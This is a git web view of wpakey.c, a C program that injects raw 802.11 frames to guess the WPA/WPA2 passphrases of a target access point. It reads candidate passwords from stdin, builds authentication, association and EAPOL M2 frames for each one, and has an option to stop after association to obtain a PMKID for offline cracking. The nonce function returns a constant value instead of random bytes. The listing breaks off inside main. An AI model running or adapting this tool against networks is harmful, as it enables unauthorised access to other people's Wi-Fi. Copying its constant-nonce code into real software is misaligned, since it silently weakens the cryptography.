add -a (assoc only) command line option
[rofl0r-wpakey.git] / wpakey.c
blob8fb84cd71339399063617b301e37e4c9498e355c
1 #include <unistd.h>
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <stdint.h>
5 #include <string.h>
6 #include <assert.h>
7 #include <signal.h>
8 #include <pcap.h>
9 #include "endianness.h"
10 #include "radiotap_flags.h"
12 enum enctype {
13 ET_NONE = 0,
14 ET_WEP = 1 << 0,
15 ET_WPA = 1 << 1,
16 ET_WPA2 = 1 << 2,
17 ET_GRP_CCMP = 1 << 3,
18 ET_GRP_TKIP = 1 << 4,
19 ET_GRP_WEP40 = 1 << 5,
20 ET_GRP_WEP104 = 1 << 6,
21 ET_PAIR_CCMP = 1 << 7,
22 ET_PAIR_TKIP = 1 << 8,
23 ET_PAIR_WEP40 = 1 << 9,
24 ET_PAIR_WEP104 = 1 << 10,
25 ET_AKM_8021X = 1 << 11,
26 ET_AKM_PSK = 1 << 12,
27 ET_AKM_8021XFT = 1 << 13,
28 ET_AKM_FT_PSK = 1 << 14,
31 #define KI_TYPEMASK 0x0007
32 #define KI_MD5 1
33 #define KI_SHA 2
34 #define KI_AES 3
36 #define KI_PAIRWISE (1<<3)
37 #define KI_INSTALL (1<<6)
38 #define KI_ACK (1<<7)
39 #define KI_MIC (1<<8)
40 #define KI_SECURE (1<<9)
41 #define KI_ERROR (1<<10)
42 #define KI_REQUEST (1<<11)
43 #define KI_ENCRYPTED (1<<12)
44 #define KI_SMK (1<<13)
46 struct global {
47 pcap_t *cap;
48 unsigned char our_mac[6];
49 unsigned char bssid[6];
50 char essid[32+1];
51 char essid_set;
52 char conn_state;
53 char assoc_only;
54 char pass[64+1];
55 uint8_t m1_count;
56 unsigned char rates[64];
57 unsigned char erates[64];
58 unsigned char htcaps[64];
59 unsigned char len_rates;
60 unsigned char len_erates;
61 unsigned char len_htcaps;
62 uint16_t caps;
63 uint16_t enctype;
64 uint8_t eap_version;
65 uint8_t eap_key_type;
66 uint8_t eap_mic_cipher;
67 unsigned char anonce[32];
68 unsigned char snonce[32];
69 unsigned char psk[32];
70 unsigned char replay[8];
71 unsigned char kck[16]; /* key check key, for computing MICs */
72 unsigned char kek[16]; /* key encryption key, for AES unwrapping */
73 unsigned char ptk[16]; /* pairwise key (just TK in 802.11 terms) */
74 unsigned char rsn_caps[2];
75 unsigned char fatal_timeout;
76 unsigned timeout_secs;
79 static struct global gstate;
81 #ifdef DEBUG
82 #include "dump.c"
83 #define DUMP(MSG, BUF, LEN) do { dprintf(2, "%s\n", MSG); dump(BUF, LEN); } while(0)
84 #else
85 #define DUMP(MSG, BUF, LEN) do {} while(0)
86 #endif
88 /* packet send stuff START */
89 #define TIMEOUT_SECS gstate.timeout_secs
90 #define RESEND_TIMEOUT_USECS (1000000LL/5LL)
91 static unsigned timeout_ticks;
92 static unsigned long long timeout_usec;
94 static int timeout_hit;
96 static void rewind_timer() {
97 struct itimerval timer = {0};
98 timer.it_value.tv_usec = RESEND_TIMEOUT_USECS;
99 timeout_hit = 0;
100 setitimer(ITIMER_REAL, &timer, 0);
102 static void start_timer()
104 timeout_ticks = 0;
105 timeout_usec = TIMEOUT_SECS * 1000000LL;
106 rewind_timer();
108 static void stop_timer()
110 timeout_hit = 0;
111 struct itimerval timer = {0};
112 setitimer(ITIMER_REAL, &timer, 0);
114 static int resend_last_packet(void);
115 static void alarm_handler(int dummy)
117 (void) dummy;
118 timeout_ticks++;
120 if(timeout_ticks * RESEND_TIMEOUT_USECS > timeout_usec) {
121 timeout_hit = 1;
122 dprintf(2, "[!] WARNING: Receive timeout occurred\n");
123 } else {
124 resend_last_packet();
125 rewind_timer();
128 static void sigalrm_init()
130 struct sigaction act = {.sa_handler = alarm_handler};
131 sigaction (SIGALRM, &act, 0);
134 /* store last packet */
135 static size_t last_len;
136 static unsigned char last_packet[4096];
138 static int send_packet_real(const void *packet, size_t len, int use_timer) {
139 int ret = 0;
141 if(pcap_inject(gstate.cap, packet, len) == len)
142 ret = 1;
144 if (use_timer) {
145 if(len < sizeof last_packet) {
146 memcpy(last_packet, packet, len);
147 last_len = len;
149 start_timer();
152 return ret;
155 static int send_packet_internal(const char* callerfunc, const char* file, int callerline,
156 const void *packet, size_t len, int use_timer)
158 dprintf(2, "[+] send_packet called from %s() %s:%d\n", callerfunc, file, callerline);
159 int i, ret;
160 #define CNT 1
161 for(i=0;i<CNT;i++) {
162 ret = send_packet_real(packet, len, i==CNT-1 ? use_timer : 0);
164 return ret;
167 #define send_packet(a, b, c) send_packet_internal(__FUNCTION__, __FILE__, __LINE__, a, b, c)
169 static int resend_last_packet(void) {
170 return send_packet(last_packet, last_len, 0);
173 /* packet send stuff END */
175 struct dot11frame {
176 uint16_t framecontrol;
177 uint16_t duration;
178 unsigned char receiver[6];
179 unsigned char source[6];
180 unsigned char bssid[6];
181 uint16_t sequence_no;
184 struct wifi_header {
185 unsigned char radio_tap[8];
186 /* .11 frame header */
187 struct dot11frame dot11;
190 struct assoc_req {
191 uint16_t caps;
192 uint16_t listen_interval;
195 struct llc_header
197 uint8_t dsap;
198 uint8_t ssap;
199 uint8_t control_field;
200 unsigned char org_code[3];
201 uint16_t type; /* big endian */
204 struct dot1X_header
206 uint8_t version;
207 uint8_t type;
208 uint16_t len;
211 struct eapolkey {
212 uint8_t type;
213 uint16_t keyinfo;
214 uint16_t keylen;
215 uint8_t replay[8];
216 uint8_t nonce[32];
217 uint8_t iv[16];
218 uint8_t rsc[8];
219 uint8_t _reserved[8];
220 uint8_t mic[16];
221 uint16_t paylen;
222 char payload[];
223 } __attribute__((packed));
225 static size_t init_header(unsigned char* packet, uint16_t fc, const unsigned char dst[6])
227 static uint16_t seq = 0;
228 unsigned char *p;
229 struct wifi_header *w = (void*) packet;
230 memcpy(packet, "\0\0" "\x08\0" "\0\0\0\0", 8);
231 seq += 0x10;
232 w->dot11.framecontrol = end_htole16(fc);
233 memcpy(&w->dot11.duration, "\x52\x00", 2);
234 w->dot11.sequence_no = end_htole16(seq);
235 memcpy(w->dot11.receiver, dst, 6);
236 memcpy(w->dot11.source, gstate.our_mac, 6);
237 memcpy(w->dot11.bssid, dst, 6);
238 return sizeof(struct wifi_header);
241 static size_t init_llc(unsigned char* packet, uint16_t type)
243 memcpy(packet, "\xaa" "\xaa" "\x03" "\0\0\0", 6);
244 ((struct llc_header*)packet)->type = end_htobe16(type);
245 return sizeof(struct llc_header);
248 #define NO_REPLAY_HTCAPS 0
250 /* Deauthenticate ourselves from the AP */
251 static void deauthenticate(const unsigned char dst[6])
253 unsigned char packet[sizeof (struct wifi_header) + 2];
254 init_header(packet, 0x00C0, dst);
255 memcpy(packet + sizeof (struct wifi_header), "\x03\x00", 2);
256 send_packet(packet, sizeof packet, 1);
259 /* Authenticate ourselves with the AP */
260 static void authenticate(const unsigned char dst[6])
262 unsigned char packet[ sizeof (struct wifi_header) + 6];
263 init_header(packet, 0x00B0, dst);
264 memcpy(packet + sizeof (struct wifi_header), "\0\0" /*algorithm*/ "\1\0" /*seq*/ "\0\0" /*status*/, 6);
265 dprintf(2, "[+] Sending authentication request\n");
266 send_packet(packet, sizeof packet, 1);
269 static size_t add_encryption_ie(unsigned char *packet)
271 int chosen = 0;
272 size_t offset = 2;
273 unsigned char vendor[3];
274 if((gstate.enctype & ET_WEP) && !((gstate.enctype & ET_WPA) || (gstate.enctype & ET_WPA2))) {
275 dprintf(2, "oops, WEP not implemented\n");
276 abort();
278 memcpy(packet, "\0\0", 2);
279 if(gstate.enctype & ET_WPA) {
280 packet[0] = 0xDD;
281 memcpy(vendor, "\0\x50\xF2", 3);
282 memcpy(packet + offset, "\x00\x50\xF2\x01\x01\x00", 6);
283 offset += 6;
284 chosen |= ET_WPA;
285 } else if (gstate.enctype & ET_WPA2) {
286 packet[0] = 0x30;
287 memcpy(vendor, "\0\x0f\xac", 3);
288 chosen |= ET_WPA2;
289 memcpy(packet+offset, "\x01\0", 2); /* RSN VERSION 1*/
290 offset += 2;
292 memcpy(packet + offset, vendor, 3);
293 offset += 3;
294 if(gstate.enctype & ET_GRP_CCMP) {
295 packet[offset] = 4;
296 chosen |= ET_GRP_CCMP;
297 } else if(gstate.enctype & ET_GRP_TKIP) {
298 packet[offset] = 2;
299 chosen |= ET_GRP_TKIP;
300 } else if(gstate.enctype & ET_GRP_WEP104) {
301 packet[offset] = 5;
302 chosen |= ET_GRP_WEP104;
303 } else if(gstate.enctype & ET_GRP_WEP40) {
304 packet[offset] = 1;
305 chosen |= ET_GRP_WEP40;
306 } else {
307 dprintf(2, "err: unknown group key cipher");
308 abort();
310 offset += 1;
311 memcpy(packet+offset, "\x01\x00", 2);
312 offset += 2;
313 memcpy(packet + offset, vendor, 3);
314 offset += 3;
315 if(gstate.enctype & ET_PAIR_CCMP) {
316 packet[offset] = 4;
317 chosen |= ET_PAIR_CCMP;
318 } else if(gstate.enctype & ET_PAIR_TKIP) {
319 packet[offset] = 2;
320 chosen |= ET_PAIR_TKIP;
321 } else if(gstate.enctype & ET_PAIR_WEP104) {
322 packet[offset] = 5;
323 chosen |= ET_PAIR_WEP104;
324 } else if(gstate.enctype & ET_PAIR_WEP40) {
325 packet[offset] = 1;
326 chosen |= ET_PAIR_WEP40;
327 } else {
328 dprintf(2, "err: unknown group key cipher");
329 abort();
331 offset +=1;
332 memcpy(packet+offset, "\x01\x00", 2);
333 offset += 2;
334 memcpy(packet + offset, vendor, 3);
335 offset += 3;
336 if(gstate.enctype & ET_AKM_PSK) {
337 packet[offset] = 2;
338 chosen |= ET_AKM_PSK;
339 } else if(gstate.enctype & ET_AKM_8021X) {
340 packet[offset] = 1;
341 chosen |= ET_AKM_8021X;
342 goto notsupp;
343 } else if(gstate.enctype & ET_AKM_8021XFT) {
344 packet[offset] = 3;
345 chosen |= ET_AKM_8021XFT;
346 goto notsupp;
347 } else {
348 notsupp:
349 dprintf(2, "err: unsupported auth key method");
350 abort();
352 offset +=1;
353 if (gstate.enctype & ET_WPA2) {
354 memcpy(packet + offset, gstate.rsn_caps, 2); /* RSN capabilities */
355 offset += 2;
357 packet[1] = offset - 2;
358 gstate.enctype = chosen;
359 return offset;
362 /* Associate with the AP */
363 static void associate(const unsigned char dst[6], const char *essid)
365 unsigned char packet[512];
366 unsigned offset = sizeof(struct wifi_header), l;
368 init_header(packet, 0x0000, dst);
370 struct assoc_req* a = (void*)(packet+offset);
371 a->caps = end_htole16(gstate.caps);
372 a->listen_interval = end_htole16(0x0064);
373 offset += sizeof(struct assoc_req);
375 packet[offset++] = 0; /* SSID TAG NR */
376 l = strlen(gstate.essid);
377 packet[offset++] = l;
378 memcpy(packet + offset, gstate.essid, l);
379 offset += l;
381 packet[offset++] = 0x01; /* RATES TAG NR */
382 packet[offset++] = gstate.len_rates;
383 memcpy(packet+offset, gstate.rates, gstate.len_rates);
384 offset += gstate.len_rates;
386 if(gstate.len_erates) {
387 packet[offset++] = 0x32; /* ERATES TAG NR */
388 packet[offset++] = gstate.len_erates;
389 memcpy(packet+offset, gstate.erates, gstate.len_erates);
390 offset += gstate.len_erates;
393 if(gstate.len_htcaps && !NO_REPLAY_HTCAPS) {
394 packet[offset++] = 0x2d; /* HT CAPS NR */
395 packet[offset++] = gstate.len_htcaps;
396 memcpy(packet+offset, gstate.htcaps, gstate.len_htcaps);
397 offset += gstate.len_htcaps;
400 offset += add_encryption_ie(packet + offset);
402 dprintf(2, "[+] Sending association request\n");
403 /* omit wps tag for now */
404 send_packet(packet, offset, 1);
408 /* Initializes pcap capture settings and returns a pcap handle on success, NULL on error */
409 static pcap_t *capture_init(const char *capture_source)
411 pcap_t *handle;
412 char errbuf[PCAP_ERRBUF_SIZE];
413 int status;
415 handle = pcap_open_offline(capture_source, errbuf);
416 if(handle) return handle;
418 handle = pcap_create(capture_source, errbuf);
419 if (handle) {
420 pcap_set_snaplen(handle, 65536);
421 pcap_set_timeout(handle, 50);
422 pcap_set_rfmon(handle, 1);
423 pcap_set_promisc(handle, 1);
424 if(!(status = pcap_activate(handle)))
425 return handle;
426 if(status == PCAP_ERROR_RFMON_NOTSUP) {
427 pcap_set_rfmon(handle, 0);
428 status = pcap_activate(handle);
429 if(!status) return handle;
431 dprintf(2, "[X] ERROR: pcap_activate status %d\n", status);
432 static const char *pcap_errmsg[] = {
433 [1] = "generic error code",
434 [2] = "loop terminated by pcap_breakloop",
435 [3] = "the capture needs to be activated",
436 [4] = "the operation can't be performed on already activated captures",
437 [5] = "no such device exists",
438 [6] = "this device doesn't support rfmon (monitor) mode",
439 [7] = "operation supported only in monitor mode",
440 [8] = "no permission to open the device",
441 [9] = "interface isn't up",
442 [10]= "this device doesn't support setting the time stamp type",
443 [11]= "you don't have permission to capture in promiscuous mode",
444 [12]= "the requested time stamp precision is not supported",
446 if(status < 0 && status > -13)
447 dprintf(2, "[X] PCAP: %s\n", pcap_errmsg[-status]);
448 pcap_close(handle);
449 handle = 0;
452 if(!handle) {
453 dprintf(2, "couldn't get pcap handle, exiting\n");
454 exit(1);
456 return handle;
459 enum state {
460 ST_CLEAN = 0,
461 ST_GOT_BEACON,
462 ST_GOT_AUTH,
463 ST_GOT_ASSOC,
464 ST_GOT_M1,
465 ST_GOT_M3,
468 static void set_essid(unsigned char *buf, size_t len, int msg) {
469 if(len+1 > sizeof(gstate.essid)) return;
470 memcpy(gstate.essid, buf, len);
471 gstate.essid[len] = 0;
472 gstate.essid_set = 1;
473 if(msg) dprintf(2, "[+] setting essid to '%s'\n", gstate.essid);
476 static void fix_rates(unsigned char *buf, size_t len) {
477 unsigned i;
478 for(i = 0; i < len; i++)
479 buf[i] = buf[i] & 0x7f; // remove (B) bit
482 static int check_rsn_cipher(const unsigned char rsn[4], int wpa, int group)
484 static const unsigned short group_ciphers[] = {
485 [1] = ET_GRP_WEP40,
486 [2] = ET_GRP_TKIP,
487 [4] = ET_GRP_CCMP,
488 [5] = ET_GRP_WEP104,
490 static const unsigned short pair_ciphers[] = {
491 [1] = ET_PAIR_WEP40,
492 [2] = ET_PAIR_TKIP,
493 [4] = ET_PAIR_CCMP,
494 [5] = ET_PAIR_WEP104,
496 const unsigned short *cipher_tbl = group ? group_ciphers : pair_ciphers;
497 if(wpa == 2)
498 assert(!memcmp(rsn, "\0\x0f\xac", 3));
499 else if(wpa == 1)
500 assert(!memcmp(rsn, "\0\x50\xf2", 3));
502 assert(rsn[3] < 6);
503 return cipher_tbl[rsn[3]];
506 static int check_rsn_authkey(const unsigned char rsn[4], int wpa)
508 static const unsigned short auth_key_mgmt[] = {
509 [1] = ET_AKM_8021X,
510 [2] = ET_AKM_PSK,
511 [3] = ET_AKM_8021XFT,
512 [4] = ET_AKM_FT_PSK,
514 if(wpa == 2)
515 assert(!memcmp(rsn, "\0\x0f\xac", 3));
516 else if(wpa == 1)
517 assert(!memcmp(rsn, "\0\x50\xf2", 3));
518 assert(rsn[3] < (sizeof auth_key_mgmt/sizeof(auth_key_mgmt[0])));
519 return auth_key_mgmt[rsn[3]];
521 static int process_rsn(const unsigned char *rsn, int len, int wpa) {
522 int enc = 0;
523 int pos = 0;
524 unsigned i, num_ciphers;
525 if(pos + 4 <= len) {
526 enc |= check_rsn_cipher(rsn+pos, wpa, 1);
528 pos += 4;
529 if(pos + 2 <= len) {
530 num_ciphers = rsn[pos];
531 pos += 2;
532 for(i=0; i < num_ciphers && (pos + 4 <= len); i++, pos += 4) {
533 enc |= check_rsn_cipher(rsn+pos, wpa, 0);
536 if(pos + 2 <= len) {
537 num_ciphers = rsn[pos];
538 pos += 2;
539 for(i=0; i < num_ciphers && (pos + 4 <= len); i++, pos += 4) {
540 enc |= check_rsn_authkey(rsn+pos, 0);
543 if(pos + 2 <= len) {
544 memcpy(gstate.rsn_caps, rsn + pos, 2);
545 } else {
546 memcpy(gstate.rsn_caps, "\0\0", 2);
548 return enc;
551 static int get_next_ie(const unsigned char *data, size_t len, size_t *currpos) {
552 if(*currpos + 2 >= len) return 0;
553 *currpos = *currpos + 2 + data[*currpos + 1];
554 if(*currpos >= len) return 0;
555 return 1;
558 static void process_tags(const unsigned char* tagdata, size_t tagdata_len)
560 unsigned const char *tag;
561 size_t ie_iterator = 0, remain;
562 int enc = 0;
563 do {
564 tag = tagdata + ie_iterator;
565 remain = tagdata_len - ie_iterator;
566 if(remain < 2 || tag[1]+2 > remain) break;
567 unsigned char *dlen = 0;
568 unsigned char *dst = 0;
569 switch(tag[0]) {
570 case 0x30: /* RSN */
571 assert(tag[1] > 2);
572 assert(!memcmp(tag+2, "\x01\x00", 2)); /* RSN version 1 */
573 enc = ET_WPA2 | process_rsn(tag+4, tag[1]-2, 2);
574 break;
575 case 0xDD:
576 /* only process WPA1 if WPA2 RSN element not encountered */
577 if(!enc && tag[1] >= 8 && !memcmp(tag+2, "\x00\x50\xF2\x01\x01\x00", 6))
578 enc |= ET_WPA | process_rsn(tag+8, tag[1]-6, 1);
579 break;
580 case 0x00: /* essid */
581 if(!gstate.essid_set) set_essid(tag+2, tag[1], 1);
582 break;
583 case 0x01: /* rates */
584 dlen = &gstate.len_rates;
585 dst = gstate.rates;
586 goto copy;
587 case 0x32: /* ext rates */
588 dlen = &gstate.len_erates;
589 dst = gstate.erates;
590 goto copy;
591 case 0x2d: /* ht caps */
592 dlen = &gstate.len_htcaps;
593 dst = gstate.htcaps;
594 copy:
595 if(tag[1] <= remain) {
596 assert(tag[1] <= sizeof(gstate.rates));
597 assert(sizeof(gstate.rates) == sizeof(gstate.erates));
598 assert(sizeof(gstate.rates) == sizeof(gstate.htcaps));
599 *dlen = tag[1];
600 memcpy(dst, tag+2, tag[1]);
602 break;
605 } while(get_next_ie(tagdata, tagdata_len, &ie_iterator));
606 gstate.enctype = enc;
609 #include "wsupp_crypto.h"
610 static void pmk_to_ptk()
612 uint8_t *mac1, *mac2;
613 uint8_t *nonce1, *nonce2;
615 if(memcmp(gstate.our_mac, gstate.bssid, 6) < 0) {
616 mac1 = gstate.our_mac;
617 mac2 = gstate.bssid;
618 } else {
619 mac1 = gstate.bssid;
620 mac2 = gstate.our_mac;
623 if(memcmp(gstate.snonce, gstate.anonce, 32) < 0) {
624 nonce1 = gstate.snonce;
625 nonce2 = gstate.anonce;
626 } else {
627 nonce1 = gstate.anonce;
628 nonce2 = gstate.snonce;
631 uint8_t key[60];
633 const char* astr = "Pairwise key expansion";
634 PRF480(key, gstate.psk, astr, mac1, mac2, nonce1, nonce2);
636 memcpy(gstate.kck, key + 0, 16);
637 memcpy(gstate.kek, key + 16, 16);
638 memcpy(gstate.ptk, key + 32, 16);
640 memset(key, 0, sizeof(key)); /* YESSSS... dont leave clues1!!!*/
643 #include "crypto/pbkdf2.h"
645 static void gen_psk(const char* essid, const char* pass, unsigned char psk[32])
647 memset(psk, 0, 32);
648 pbkdf2_sha1(psk, 32 /*sizeof(psk)*/, pass, strlen(pass), essid, strlen(essid), 4096);
651 static void fill_rand(unsigned char* buf, size_t len)
653 memset(buf, 0x55, len); // realtek prng :-DDDDDD
656 static void send_m2(void)
658 fill_rand(gstate.snonce, sizeof(gstate.snonce));
659 gen_psk(gstate.essid, gstate.pass, gstate.psk);
660 pmk_to_ptk();
661 unsigned char packet[256];
662 size_t offset;
663 offset = init_header(packet, 0x0108, gstate.bssid);
664 offset += init_llc(packet+offset, 0x888e /* 802.1X auth*/);
666 struct dot1X_header* d1x = (void*)(packet+offset);
667 d1x->version = 1;
668 d1x->type = 3;
669 offset += sizeof(struct dot1X_header);
670 struct eapolkey *eap = (void*)(packet+offset);
671 eap->type = gstate.eap_key_type;
672 eap->keyinfo = end_htobe16(KI_MIC | KI_PAIRWISE | gstate.eap_mic_cipher);
673 if(gstate.enctype & ET_WPA2)
674 eap->keylen = 0;
675 else
676 eap->keylen = end_htobe16(16);
677 memcpy(eap->replay, gstate.replay, 8);
678 memcpy(eap->nonce, gstate.snonce, sizeof(gstate.snonce));
679 memset(eap->iv, 0, sizeof(eap->iv));
680 memset(eap->rsc, 0, sizeof(eap->rsc));
681 memset(eap->_reserved, 0, sizeof(eap->_reserved));
682 memset(eap->mic, 0, sizeof(eap->mic));
684 offset += sizeof(struct eapolkey);
685 unsigned ielen = add_encryption_ie(packet+offset);
686 offset += ielen;
687 eap->paylen = end_htobe16(ielen);
688 d1x->len = end_htobe16(sizeof(struct eapolkey) + ielen);
690 make_mic(eap->mic, gstate.kck, (void*) d1x, sizeof (struct dot1X_header) + sizeof(struct eapolkey) + ielen);
691 dprintf(2, "[+] Sending M2 message\n");
692 send_packet(packet, offset, 1);
695 #define M1_MASK_BITS (KI_PAIRWISE|KI_ACK)
696 #define M3_MASK_BITS (KI_INSTALL|KI_MIC)
697 static int is_m1(struct eapolkey* eap)
699 unsigned ki = end_be16toh(eap->keyinfo);
700 return ((ki & (M1_MASK_BITS)) == M1_MASK_BITS) && !(ki & (M3_MASK_BITS));
702 static int is_m3(struct eapolkey* eap)
704 unsigned ki = end_be16toh(eap->keyinfo);
705 return ((ki & (M1_MASK_BITS|M3_MASK_BITS)) == (M1_MASK_BITS|M3_MASK_BITS));
707 static int process_eapol_packet(int version, struct eapolkey* eap)
709 if(!(
710 (eap->type == 2 /*EAPOL_KEY_RSN*/) ||
711 (eap->type == 254 /*EAPOL_KEY_WPA */) )
713 dprintf(2, "invalid eapol type\n");
714 return -1;
716 gstate.eap_key_type = eap->type;
717 if (gstate.conn_state == ST_GOT_ASSOC && is_m1(eap) ) {
718 gstate.eap_version = version;
719 gstate.eap_mic_cipher = end_be16toh(eap->keyinfo) & KI_TYPEMASK;
720 memcpy(gstate.anonce, eap->nonce, sizeof(gstate.anonce));
721 DUMP("anonce", gstate.anonce, sizeof(gstate.anonce));
722 memcpy(gstate.replay, eap->replay, sizeof(gstate.replay));
723 DUMP("replay", gstate.replay, sizeof(gstate.replay));
724 gstate.m1_count = 1;
725 return 1;
726 } else if(gstate.conn_state == ST_GOT_M1 && is_m3(eap) ) {
727 return 1;
728 } else if (gstate.conn_state == ST_GOT_M1 && is_m1(eap)) {
729 gstate.m1_count++;
732 return 0;
735 static int is_data_packet(int framectl)
737 uint16_t type = framectl & end_htole16(0xfc); /* IEEE80211_FCTL_FTYPE | IEEE80211_FCTL_STYPE */
738 /* 0x08 = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA
739 0x88 = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_QOS_DATA */
740 if(type == end_htole16(0x08)) return 1;
741 if(type == end_htole16(0x88)) return 2;
742 return 0; /* not a data packet */
745 /* return -1 on failure,
746 0 if packet is to ignore,
747 1 if state machine can be advanced */
748 static int process_packet(pcap_t *cap)
750 struct pcap_pkthdr h;
751 const unsigned char* data = pcap_next(cap, &h);
752 if(!data) return -1;
753 uint32_t flags, offset;
754 if(!rt_get_presentflags(data, h.len, &flags, &offset))
755 return -1;
757 struct ieee80211_radiotap_header *rh = (void*) data;
758 unsigned rtap_data = offset;
759 uint16_t framectl, caps;
760 struct dot11frame* dot11;
762 offset = rh->it_len;
764 if(h.len < offset + sizeof(struct dot11frame))
765 return 0;
767 memcpy(&framectl, data+offset, 2);
768 framectl = end_le16toh(framectl);
770 dot11 = (void*)(data+offset);
772 /* ignore all packets not from target bssid */
773 /* packet from target AP ? */
774 //if(memcmp(gstate.bssid, dot11->source, 6))
775 // return 0;
776 /* our ap ?*/
777 if(memcmp(gstate.bssid, dot11->bssid, 6))
778 return 0;
780 if(gstate.conn_state < ST_GOT_BEACON && framectl == 0x0080 /* beacon */)
782 /* check if we already have enuff */
783 if(gstate.essid_set && gstate.len_rates && gstate.len_htcaps)
784 return 0;
786 offset +=
787 sizeof (struct dot11frame) /* now at timestamp */+
788 8 /* now at beacon interval */ +
789 2 /* now at caps */;
791 assert(offset +2 <= h.len);
793 memcpy(&caps, data+offset, 2);
794 gstate.caps = end_le16toh(caps);
796 offset += 2;
797 process_tags(data + offset, h.len - offset);
798 fix_rates(gstate.rates, gstate.len_rates);
800 if(caps & 0x10 /* CAPABILITY_WEP */)
801 gstate.enctype |= ET_WEP;
803 return 1;
806 /* ignore any other packets not targeted at us */
807 if(memcmp(gstate.our_mac, dot11->receiver, 6))
808 return 0;
810 switch(framectl) {
811 /* IEEE 802.11 packet type */
812 case 0x00b0: /* authentication */
813 if(gstate.conn_state >= ST_GOT_AUTH)
814 return 0;
815 /* fall through */
816 case 0x0010: /* association resp */
817 if(gstate.conn_state >= ST_GOT_ASSOC)
818 return 0;
820 offset += sizeof(struct dot11frame) + 2;
821 /* auth frame has 3 short members, of which the 3rd is the status */
822 /* assoc frame has 3 short members, of which the 2nd is the status */
823 if(framectl == 0x00b0) offset += 2;
824 assert(offset + 2 <= h.len);
826 /* both assoc and auth success is 0x0000 */
827 if(memcmp("\0\0", data+offset, 2)) {
828 dprintf(2, "[X] assoc or auth error\n");
829 return -1;
831 return 1;
834 if(gstate.conn_state < ST_GOT_ASSOC)
835 return 0;
837 int data_type = is_data_packet(framectl);
838 if(!data_type) return 0;
840 /* QOS packets have an additional 2 bytes after the .11 header */
841 offset += sizeof(struct dot11frame)+"\0\0\2"[data_type];
843 if(h.len < offset +
844 sizeof(struct llc_header) +
845 sizeof(struct dot1X_header) +
846 sizeof(struct eapolkey))
847 return 0;
849 struct llc_header *llc = (void*) data + offset;
850 if(llc->type != end_htobe16(0x888E /*DOT1X_AUTHENTICATION*/))
851 return 0;
852 offset += sizeof(struct llc_header);
854 struct dot1X_header *d1x = (void*) data + offset;
855 if(d1x->type != 3 /* key */)
856 return 0;
857 offset += sizeof(struct dot1X_header);
858 if(h.len < offset + end_be16toh(d1x->len))
859 return 0;
860 struct eapolkey *eap = (void*) data + offset;
861 assert(end_be16toh(d1x->len) == end_be16toh(eap->paylen) + sizeof(struct eapolkey));
862 return process_eapol_packet(d1x->version, eap);
865 #include <net/if.h>
866 #include <netinet/in.h>
867 #include <stropts.h>
868 #include <sys/ioctl.h>
869 static void get_mac(const char *devnam, unsigned char mac[6])
871 struct ifreq ifr = {0};
872 struct ether_addr *eth;
873 int sock, ret_val;
875 /* Need a socket for the ioctl call */
876 if(-1 == (sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP))) {
877 out:
878 dprintf(2, "[X] Error: could not retrieve mac\n");
879 abort();
881 strcpy(ifr.ifr_name, devnam);
882 if(ioctl(sock, SIOCGIFHWADDR, &ifr) != 0) {
883 close(sock);
884 goto out;
886 memcpy(mac, ifr.ifr_hwaddr.sa_data, 6);
887 close(sock);
890 #include <ctype.h>
891 static void str2mac(const char *str, unsigned char *mac)
893 static const char hex[] = "0123456789abcdef";
894 const char *p = str, *f;
895 int i, v;
896 for(i = 0; i < 12; i++) {
897 f = strchr(hex, tolower(*p));
898 assert(f);
899 v = (uintptr_t) f - (uintptr_t) hex;
900 *mac = (i&1) ? ((*mac << 4) | v) : v;
901 p++;
902 if(i&1) {
903 p++;
904 mac++;
909 static int usage(const char* argv0)
911 dprintf(2, "usage: %s -i wlan0 -b bssid [-e essid -t timeout -f -a]\n\n"
912 "reads password candidates from stdin and tries to connect\n"
913 "the wifi apapter needs to be on the right channel already\n"
914 "password candidates with length > 64 and < 8 will be ignored\n"
915 "\n"
916 "-t <timeout> : specify timeout in seconds\n"
917 "-a : stop after association (retrieve only PMKID)\n"
918 "-f : hitting timeout is fatal\n"
919 " prevents endless loops on bad conns\n"
920 " use when testing only a single password\n"
921 , argv0 );
922 return 1;
925 static int show_enc(void)
927 static const char enc_str[][10] = {
928 [0] = "WPA1 TKIP",
929 [1] = "WPA2 TKIP",
930 [2] = "WPA1 CCMP",
931 [3] = "WPA2 CCMP",
933 dprintf(2, "[+] chosen encryption: %s\n",
934 enc_str[
935 (!!(gstate.enctype & ET_WPA2)) |
936 ((!!(gstate.enctype & ET_PAIR_CCMP)) << 1)] );
937 return 1;
940 static void fail(const char *s)
942 dprintf(2, "[X] %s\n", s);
943 exit(1);
946 static void check_supported_enc(void)
948 if(!((gstate.enctype & ET_WPA) || (gstate.enctype & ET_WPA2)))
949 fail("sorry, only WPA1/WPA2 supported at this time");
950 if(!(gstate.enctype & ET_PAIR_CCMP))
951 fail("sorry, only AES/CCMP supported at this time");
954 static void advance_state()
956 static int enc_shown = 0;
957 switch(gstate.conn_state) {
958 case ST_CLEAN:
959 if(!enc_shown) enc_shown = show_enc();
960 gstate.conn_state = ST_GOT_BEACON;
961 deauthenticate(gstate.bssid);
962 authenticate(gstate.bssid);
963 break;
964 case ST_GOT_BEACON:
965 gstate.conn_state = ST_GOT_AUTH;
966 associate(gstate.bssid, gstate.essid);
967 break;
968 case ST_GOT_AUTH:
969 gstate.conn_state = ST_GOT_ASSOC;
970 break;
971 case ST_GOT_ASSOC:
972 if(gstate.assoc_only) exit(0);
973 gstate.conn_state = ST_GOT_M1;
974 check_supported_enc();
975 send_m2();
976 break;
977 case ST_GOT_M1:
978 gstate.conn_state = ST_GOT_M3;
979 //send_m4();
980 break;
984 static int fetch_next_pass()
986 char buf[1024];
987 fetch:
988 if(!fgets(buf, sizeof buf, stdin)) return 0;
989 size_t l = strlen(buf);
990 if(l < 9 || l > 65) goto fetch;
991 buf[l-1] = 0; // remove \n
992 strcpy(gstate.pass, buf);
993 return 1;
996 int main(int argc, char** argv)
998 TIMEOUT_SECS = 2;
999 int c;
1000 const char *essid = 0, *bssid = 0, *itf = 0;
1001 while((c = getopt(argc, argv, "b:e:i:t:fa")) != -1) {
1002 switch(c) {
1003 case 'i':
1004 itf = optarg;
1005 break;
1006 case 'b':
1007 bssid = optarg;
1008 break;
1009 case 'e':
1010 essid = optarg;
1011 break;
1012 case 't':
1013 TIMEOUT_SECS = atoi(optarg);
1014 break;
1015 case 'a':
1016 gstate.assoc_only = 1;
1017 break;
1018 case 'f':
